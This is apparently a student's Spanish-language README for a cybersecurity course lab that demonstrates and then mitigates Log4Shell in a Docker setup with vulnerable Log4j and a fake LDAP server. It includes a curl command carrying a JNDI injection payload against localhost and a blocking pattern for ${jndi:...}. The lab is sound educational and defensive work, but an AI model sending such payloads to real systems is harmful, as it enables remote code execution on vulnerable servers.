Tarea 9 – Asegurando Sistemas Contra Exploits de Log4Shell

Resumen

Este proyecto demuestra la explotación y mitigación de la vulnerabilidad Log4Shell (CVE-2021-44228) utilizando una aplicación web Java dockerizada con Log4j 2.14.1 vulnerable. La configuración también incluye un servidor LDAP malicioso simulado para demostrar la ruta de ataque de inyección JNDI.

Después de la explotación, el sistema se refuerza actualizando Log4j, validando la entrada y aplicando recomendaciones de MITRE D3FEND y ATT&CK.

Estructura de Carpetas

log4shell-homework9/
├── docker-compose.yml
├── Dockerfile
├── pom.xml
├── ldap_server.py
├── src/...
├── architecture_diagram.png
├── README.md
├── mitigation_report.pdf

Cómo Ejecutar

1. Construir la App Java (con Log4j vulnerable)

docker build -t vulnerable-app .

2. Ejecutar la App con Docker Compose

docker-compose up

La app estará disponible en:
http://localhost:8080

3. Iniciar el Servidor LDAP Falso (en una nueva terminal)

python3 ldap_server.py

4. Simular un Exploit

Envía una solicitud como esta a la app:

curl http://localhost:8080?input=${jndi:ldap://localhost:8000/Exploit}

El servidor LDAP debería recibir la solicitud (esto simula el exploit JNDI).

Cómo se Ha Reforzado

Después de demostrar el ataque, el sistema fue protegido mediante:

• Actualizar Log4j a la versión 2.17.0
• Validación de entrada (bloqueando patrones ${jndi:...})
• Deshabilitar búsquedas de mensajes en la configuración
• Aislamiento con Docker para limitar el alcance
• Técnicas de MITRE D3FEND y ATT&CK aplicadas

Mapeo MITRE

MITRE ATT&CK:

• T1190: Explotar Aplicación Expuesta al Público
• T1210: Explotación de Servicios Remotos

MITRE D3FEND:

• D3-IA: Validación de Entrada
• D3-HI: Detección de Intrusiones Basada en Host
• D3-DA: Deshabilitar Funcionalidades No Seguras

Informe

Ver mitigation_report.pdf para:

• Arquitectura del sistema antes/después
• Explicación de Log4Shell
• Estrategia de mitigación
• Plan de respuesta a incidentes

Grabación de Pantalla

Si el video no se ha subido directamente, está disponible en el enlace del informe.

Autor

Serpil Rivas
SEAS 8405 – Arquitecturas de Ciberseguridad
Mayo 2025